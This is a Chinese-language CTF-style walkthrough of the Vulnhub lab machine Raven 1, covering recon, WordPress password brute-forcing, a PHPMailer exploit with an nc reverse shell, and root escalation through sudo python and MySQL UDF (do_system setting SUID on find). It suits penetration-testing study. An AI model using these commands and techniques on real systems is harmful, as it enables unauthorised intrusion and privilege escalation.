Vulnhub系列:Raven 1

该篇为Vulnhub系列靶机渗透,本次靶机存在4个flag。下面开始我们今天的渗透之旅。Raven靶机有很多种思路,我将对其进行一一整理。

首先进行信息收集,利用arp-scan和nmap,进行靶机的ip及端口扫描

Vulnhub系列:Raven 1_第1张图片

发现了22、80、111端口。下面访问80端口,在页面上一顿收集后,发现在services处,查看源代码发现了flag1。

Vulnhub系列:Raven 1_第2张图片
Vulnhub系列:Raven 1_第3张图片

Vulnhub系列:Raven 1_第4张图片

flag1{b9bbcb33e11b80be759c4e844862482d}

下一步,继续进行信息收集,发现在blog处,是一个wordpress的框架,同时经过目录爆破发现了相关的路径

Vulnhub系列:Raven 1_第5张图片

这边的/vendor/目录为wordpress的默认目录

Vulnhub系列:Raven 1_第6张图片

Vulnhub系列:Raven 1_第7张图片

下一步进行wordpress的信息枚举。发现了两个用户

Vulnhub系列:Raven 1_第8张图片
Vulnhub系列:Raven 1_第9张图片

用户:steven、michael,利用kali自带的密码本进行爆破,这里爆破时间特别长,但是还是爆破出来了

Vulnhub系列:Raven 1_第10张图片
Vulnhub系列:Raven 1_第11张图片

用户名:steven 密码为:pink84,进行登录后在/var/www/目录下发现了flag2.

Vulnhub系列:Raven 1_第12张图片

接着在wordpress中进行信息收集,存在wp-config.php文件,该文件会存在一下配置的用户名和密码,例如数据库。果不其然,发现了数据库用户名和密码。

Vulnhub系列:Raven 1_第13张图片

利用用户名和密码登录后,进行一番搜查,发现了这两个用户。同时在表wp_posts中发现了flag3和flag4,这就结束了?还没有提权呢。就可以看到flag4?

Vulnhub系列:Raven 1_第14张图片
Vulnhub系列:Raven 1_第15张图片

flag3{afc01ab56b50591e7dccf93122770cd2}

flag4{715dea6c055b9fe3337544932f2941ce}

不行不能这么就结束!

下面退出数据库,看看有没有什么提权方式,尝试用sudo -l,发现还真存在

这边的steven用户存在一个不用输密码的(All),使用python即可称为root,这也太easy了!

直接sudo python -c 'import pty;pty.spawn("/bin/bash")'

Vulnhub系列:Raven 1_第16张图片

清清爽爽的获取了root,提权成功!

是不是以为完了~,NONONO,还有其他方法呢

回过头来,之前我们是爆破得到的密码,而且我亲试,时间特别久,那么有没有其他的方法getshell呢?在页面上一番搜索后发现了当初我们忽视的那个默认目录/vendor/,该目录下存在PATH,README,VERSION

Vulnhub系列:Raven 1_第17张图片

在PATH中发现了路径,在README中发现了PHPmailer,在Version中发现了版本

Vulnhub系列:Raven 1_第18张图片

在本地漏洞库中查询,查到了相应的exp

Vulnhub系列:Raven 1_第19张图片

然后将其复制到本地查看该怎么使用,将对应的位置进行修改

Vulnhub系列:Raven 1_第20张图片

修改好之后,python 40974.py,然后再本地开启监听,nc -vlp 4567

Vulnhub系列:Raven 1_第21张图片

在浏览器里输入刚才的的后门文件名,即可反弹shell

Vulnhub系列:Raven 1_第22张图片

这样就获得了个shell,然后利用python进行改造,变为交互式shell

Vulnhub系列:Raven 1_第23张图片

然后下面的操作就像之前那样了,获取数据库用户名和密码,但是在提权上,换一种提权方式,利用mysql的UDF提权。

如果想用UDF提权,有三个条件,第一个为mysql root用户登录,第二个mysql的版本在5.几,第三个就是查看mysql底层是否允许udf提权,输入

show global variables like 'secure%';
Vulnhub系列:Raven 1_第24张图片
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

下面查看下是否在上面说到的目录下:

show variables like '%plugin%';
Vulnhub系列:Raven 1_第25张图片

在kali本地漏洞库中查找,udf的exp

Vulnhub系列:Raven 1_第26张图片

将1518.c复制到项目里,编译,然后开启web服务,在shell里进入/tmp目录下进行下载

然后再次编译一下,生成个.so文件

gcc -g -shared -o xiaoli.so 1518.o -lc
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
Vulnhub系列:Raven 1_第27张图片
Vulnhub系列:Raven 1_第28张图片

下一步进入mysql,进到mysql的数据库,show tables;然后重新创建一个表,我这里创建的xiaoli

接下来要给xiaoli的表中插入之前下载的xiaoli.so的恶意文件

insert into xiaoli values(load_file('/tmp/xiaoli.so'));
Vulnhub系列:Raven 1_第29张图片

显示插入成功!

然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数:

select * from xiaoli into dumpfile '/usr/lib/mysql/plugin/xiaoli.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

create function do_system returns integer soname 'xiaoli.so';

查看以下创建的函数:

select * from mysql.func;

创建成功!

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
Vulnhub系列:Raven 1_第30张图片
执行find命令
使用find执行 shell
touch xiaoli
find xiaoli -exec "/bin/sh" \;或者:find xiaoli -exec "id" \;
cd /root

获取了root权限,进到root目录下发现了flag4

Vulnhub系列:Raven 1_第31张图片

两种不同的getshell的方式,两种不同提权的方式,渗透需要灵活的思路,需要想尽办法不断地尝试,才会有意想不到的后果,总体该靶机可玩性还是特别高的,可以回顾mysql的提权,巩固操作。

每天学习一丢丢,进步一丢丢~

你可能感兴趣的:(渗透项目,web安全,网络安全)